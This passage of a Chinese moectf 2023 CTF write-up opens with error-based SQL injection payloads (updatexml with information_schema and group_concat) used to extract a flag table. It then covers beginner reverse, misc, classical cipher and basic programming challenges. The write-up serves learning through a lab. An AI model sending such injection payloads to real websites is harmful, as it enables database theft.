ip=1&user_agent=1&time=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wordpress' and table_name='secret_of_kokomi'),0x7e),3)

image-20231006114243193

获取flag

ip=1&user_agent=1&time=updatexml(1,substring(concat(0x7e,(select group_concat(content) from wordpress.secret_of_kokomi),0x7e),40,60),3)
后半段:
ip=1&user_agent=1&time=updatexml(1,reverse(concat(0x7e,(select group_concat(content) from wordpress.secret_of_kokomi),0x7e)),3

Reversez

Reverse入门指北

入门指北,运行附带程序获得flag

notepad+打开搜索moe

image-20230814185604057

base_64

base64是一种编码方式,不过这个好像有点奇怪?
hint:pyc文件的反编译可以试试pycdc,或者找找在线的反编译工具

在线找个网站反编译一下base_64.pyc文件

反编译后代码如下

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.7import base64
from string import *
str1 = 'yD9oB3Inv3YAB19YynIuJnUaAGB0um0='
string1 = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0123456789+/'
string2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
flag = input('welcome to moectf\ninput your flag and I wiil check it:')
enc_flag = base64.b64encode(flag.encode()).decode()
enc_flag = enc_flag.translate(str.maketrans(string2, string1))
if enc_flag == str1:print('good job!!!!')
else:print('something wrong???')exit(0)

base64解密并且更换密码本

image-20230814190952127

Xor

这题是一个简单的异或算法。相信初学者们在熟悉了一些例如ida等工具的使用之后能很快解决。
提示:异或有个特点,a ^ b = c ,那么c ^ a =b

脚本如下

#include<stdio.h>
#include<string.h>
int main(){char v[30]={0x54, 0x56, 0x5C, 0x5A, 0x4D, 0x5F, 0x42, 0x60, 0x56, 0x4C, 0x66, 0x52, 0x57, 0x09, 0x4E, 0x66, 0x51, 0x09, 0x4E, 0x66, 0x4D, 0x09, 0x66, 0x61, 0x09, 0x6B, 0x18, 0x44};for(int i=0;i<28;++i){v[i]=v[i]^0x39;}for(int i=0;i<28;++i){printf("%c",v[i]);}
}

运行得到flag

Misc

Misc 入门指北

来看看最基础的入门知识吧!

文件最后有字符串

image-20230814192620987

base64解码

image-20230814192645329

打不开的图片1

图片用010Editor打开

然后插入字节

image-20230814195850901

我们要添加文件头FFD8,所以插入两个字节

image-20230814195936298

插入文件头FFD8

image-20230814200159810

然后添加文件后缀名.JPEG

图片正常显示

image-20230814200244178

右键查看属性

image-20230814200410349

解码得到flag

image-20230814200446347

狗子(1) 普通的猫

010查看文件,flag在最后

image-20230814194440664

Classical Crypto

ezrot

DESCRIPTION:ezrot

密文如下

@64E7LC@Ecf0:D0;FDE020D:>!=60=6EE6C0DF3DE:EFE:@?04:!96C0tsAJdEA6d;F}%0N

Rot47加密,找个网站直接解密

image-20230817020013332

可可的新围墙

DESCRIPTION:可可的新围墙

密文如下

mt3_hsTal3yGnM_p3jocfFn3cp3_hFs3c_3TrB__i3_uBro_lcsOp}e{ciri_hT_avn3Fa_j

W型栅栏,栏数是3,直接解密

image-20230819175711392

皇帝的新密码

皇帝的新密码

密文如下

tvljam{JhLzhL_JPwoLy_Pz_h_cLyF_zPtwPL_JPwoLy!_ZmUVUA40q5KbEQZAK5Ehag4Av}

凯撒密码,偏移量19,解密

image-20230819180810423

不是“皇帝的新密码”

不是“皇帝的新密码”

附件内容如下

scsfct{wOuSQNfF_IWdkNf_Jy_o_zLchmK_voumSs_zvoQ_loFyof_FRdiKf_4i4x4NLgDn}

md5 of flag (utf-8) ea23f80270bdd96b5fcd213cae68eea5

密码可以去了解一下维吉尼亚密码加密方式,已知前面是moectf,秘钥可以得知是goodjob,解密得到flag

image-20230820003425234

Basic

CCCC

C语言是学习计算机基础中的基础,也是计算机第一学期的必修课。本题你需要配置一个能够编译运行C语言程序的环境,并且运行题目给出的代码来获取flag。
by the way:如果你看不懂这段代码,仅仅只是运行得到了flag,后面的题做起来会有一些困难噢

下载附件得到代码

#include<stdio.h>
#include<string.h>
int main()
{//unsigned char flag[]="moectf{HAHA_C_1s_easy!}";unsigned char enc_data[]="mng`pc}OIAKTOR?|Ots`m4k",flag[23];int i;for( i=0;i<strlen(enc_data);i++){flag[i]=enc_data[i]^i;}puts(flag);return 0;
}

运行后得到flag,注释也有

Python

DESCRIPTION: Python是CTF中最常用的编程语言,不管是学习哪个方向都离不开Python。本题你需要配置一个能够编译运行Python程序的环境,并且运行题目给出的代码来获取flag。
by the way:希望你是在看懂这段代码的基础上提交flag的:)

附件内代码如下

enc1=[158, 156, 150, 144, 135, 149, 136, 163, 138, 135, 155, 195, 157, 172, 194, 137, 172, 195, 134, 129, 172, 148, 195, 195, 151, 172, 149, 129, 154, 150, 157, 151, 137, 142]
x=lambda x:x^0xff
enc2=[]
for i in enc1:enc2.append(x(i))
key="moectf2023"
flag=""
for i in range(len(enc2)):flag+=chr(((0xf3)&(enc2[i])|((enc2[i])^0xff)&0xc))
print(flag)

运行得到flag

moectf{Pyth0n_1z_0ur_g00d_friendz}

runme

DESCRIPTION: 下载文件,双击运行得flag~
但是我的程序好像会闪退欸,能不能想个办法保留一下它的输出?比如用CMD来运行它试试?
如果你不知道什么是CMD,可以尝试使用搜索引擎来学习,加油吧(> <)

在命令行运行

runme.exe

image-20230820011806103

runme2

DESCRIPTION: 下载文件,运行得flag~
诶诶出了点小问题,好像不能运行?!因为这个程序是Linux操作系统下的可执行文件,不再是Windows了。
请尝试配置一个Linux环境(虚拟机或者WSL)来运行它。

Linux环境下运行得到flag

image-20230820012256971

后记

因为本人是学Web的,所以剩下的方向纯属是瞎写,师傅们觉得写的不好也轻点骂(

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/116732.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ConcurrentHashMap底层具体实现知道吗?实现原理是什么

从这三个方面来回答&#xff1a; ConcurrentHashMap 的整体架构 ConcurrentHashMap 的基本功能 ConcurrentHashMap 在性能方面的优化 ConcurrentHashMap 的整体架构 这个是 ConcurrentHashMap 在 JDK1.8 中的存储结构&#xff0c;它是由数组、单向链表、红黑树组成. 当我们初始…

【ROS 2 基础-常用工具】-7 Rviz仿真机器人

所有内容请查看&#xff1a;博客学习目录_Howe_xixi的博客-CSDN博客

Java的反射(reflection)机制的简单使用

目录 一、定义 二、用途 三、反射基本信息 四、反射相关的类 五、反射示例 六、反射的优点和缺点 一、定义 Java的反射机制是运行时的状态&#xff0c;可以通过反射来调用类里面的属性和方法&#xff0c;私有的属性和方法也可以调用&#xff0c;也可以对它们进行修改。 二…

常见面试题-Netty专栏(一)

typora-copy-images-to: imgs Netty 是什么呢&#xff1f;Netty 用于做什么呢&#xff1f; 答&#xff1a; Netty 是一个 NIO 客户服务端框架&#xff0c;可以快速开发网络应用程序&#xff0c;如协议服务端和客户端&#xff0c;极大简化了网络编程&#xff0c;如 TCP 和 UDP …

LVS+keepalived高可用集群

1、定义 keepalived为lvs应运而生的高可用服务。lvs的调度器无法做高可用&#xff0c;keepalived实现的是调度器的高可用&#xff0c;但keepalived不只为lvs集群服务的&#xff0c;也可以做其他代理服务器的高可用&#xff0c;比如nginxkeepalived也可实现高可用&#xff08;重…

多模态笔记

Transformer 对文本输入进行tokenizer时&#xff0c;调用的接口batch_encode_plus&#xff0c;过程大致是这样的(参考&#xff1a;tokenizer用法) #这里以bert模型为例&#xff0c;使用上述提到的函数 from transformers import BertTokenizer tokenizer BertTokenizer.from…

spring tx:advice事务配置—— tx:advice中不允许出现属性 ‘transaction-manager‘

今天在配置java事务管理时出现了一些问题。 提示&#xff1a;只有这几个属性 经过查询资料发现是bean的配置少了一些。 可以在xml文件顶部添加&#xff1a; xmlns:tx"http://www.springframework.org/schema/tx" 下面也提供一份bean文件配置的模板&#xff1a; &a…

Java入门讲解(1)---让你瞬间明白如何安装jdk

博主有话说&#xff1a;学习这个东西一定要持之以恒&#xff01;&#xff01;&#xff01;博主之前因为点事情半个月没学习&#xff0c;重新来过时&#xff0c;发现自己错过好多知识&#xff0c;正在一点一点往回补&#xff0c;博客也会陆续开始更新&#xff0c;希望大家多多支…

【AI视野·今日CV 计算机视觉论文速览 第272期】Fri, 20 Oct 2023

AI视野今日CS.CV 计算机视觉论文速览 Fri, 20 Oct 2023 Totally 62 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Computer Vision Papers Putting the Object Back into Video Object Segmentation Authors Ho Kei Cheng, Seoung Wug Oh, Brian Price, Joon Youn…

(二)docker:建立oracle数据库mount startup

这章其实我想试一下startup部分做mount&#xff0c;因为前一章在建完数据库容器后&#xff0c;需要手动创建用户&#xff0c;授权&#xff0c;建表等&#xff0c;好像正好这部分可以放到startup里&#xff0c;在创建容器时直接做好&#xff1b;因为setup部分我实在没想出来能做…

php对接飞书机器人

有同事接到对接飞书机器人任务&#xff0c;开发中遇到响应错误&#xff1a; {"code": 19021,"msg": "sign match fail or timestamp is not within one hour from current time" } 意思应该就是签名错误或者时间戳不在有效范围内等&#xff0c…

Java NIO

Java NIO 一&#xff0c;介绍 Java NIO&#xff08;New IO&#xff09;是 JDK 1.4 引入的一组新的 I/O API&#xff0c;用于支持非阻塞式 I/O 操作。相比传统的 Java IO API&#xff0c;NIO 提供了更快、更灵活的 I/O 操作方式&#xff0c;可以用于构建高性能网络应用程序。 …

京东数据分析:2023年9月京东白酒行业品牌销售排行榜

鲸参谋监测的京东平台9月份白酒市场销售数据已出炉&#xff01; 9月白酒市场的整体热度较高&#xff0c;贵州茅台先是与瑞幸联名推出酱香拿铁&#xff0c;后又宣布与德芙推出联名产品酒心巧克力&#xff0c;引起了诸多消费者的关注。在这一热度的加持下&#xff0c;从销售上看&…

深入理解Redis集群模式、协议、元数据维护方式

文章目录 &#x1f34a; 集群模式&#x1f34a; 集群协议&#x1f34a; 元数据维护方式&#x1f389; 集中式&#x1f389; gossip 协议 &#x1f4d5;我是廖志伟&#xff0c;一名Java开发工程师、Java领域优质创作者、CSDN博客专家、51CTO专家博主、阿里云专家博主、清华大学出…

第01章-Java语言概述

目录 1 常见DOS命令 常用指令 相对路径与绝对路径 2 转义字符 3 安装JDK与配置环境变量 JDK与JRE JDK的版本 JDK的下载 JDK的安装 配置path环境变量 4 Java程序的编写与执行 5 Java注释 6 Java API文档 7 Java核心机制&#xff1a;JVM 1 常见DOS命令 DOS&#xff08;…

Lua-http库写一个爬虫程序怎么样 ?

以下是一个使用Lua-http库编写的一个爬虫程序&#xff0c;该爬虫使用Lua语言来抓取www.snapchat.com的内容。 代码必须使用以下代码&#xff1a;get_proxy -- 导入所需的库 local http require("http") local json require("json")-- 定义爬虫IP服务器 …

安装docker ,更换docker版本

docker dockerd & containerd Dockerd&#xff08;Docker 守护进程&#xff09;在其底层使用 Containerd 来管理容器。Containerd 是一个开源的容器运行时管理器&#xff0c;由 Docker 公司于2017年开发并开源&#xff0c;它负责实际的容器生命周期管理。 以下是 Docker 守…

力扣每日一题49:字母异位词分组

题目描述&#xff1a; 给你一个字符串数组&#xff0c;请你将 字母异位词 组合在一起。可以按任意顺序返回结果列表。 字母异位词 是由重新排列源单词的所有字母得到的一个新单词。 示例 1: 输入: strs ["eat", "tea", "tan", "ate&quo…

清华训练营悟道篇之浅谈操作系统

文章目录 前言系统软件执行环境操作系统的功能操作系统组成 前言 操作系统是一个帮助用户和应用程序使用和管理计算机资源的软件&#xff0c;它控制着嵌入式设备、更通用的系统&#xff08;如智能手机、台式计算机和服务器&#xff09;以及巨型机等各种计算机系统 系统软件 …

【前段基础入门之】=>CSS3新增渐变颜色属性

导语&#xff1a; CSS3 新增了&#xff0c;渐变色 的解决方案&#xff0c;这使得我们可以绘制出更加生动的炫酷的的配色效果 线性渐变 多个颜色之间的渐变&#xff0c; 默认从上到下渐变 background-image: linear-gradient(red,yellow,green); /*默认从上到下渐变*/默认从上…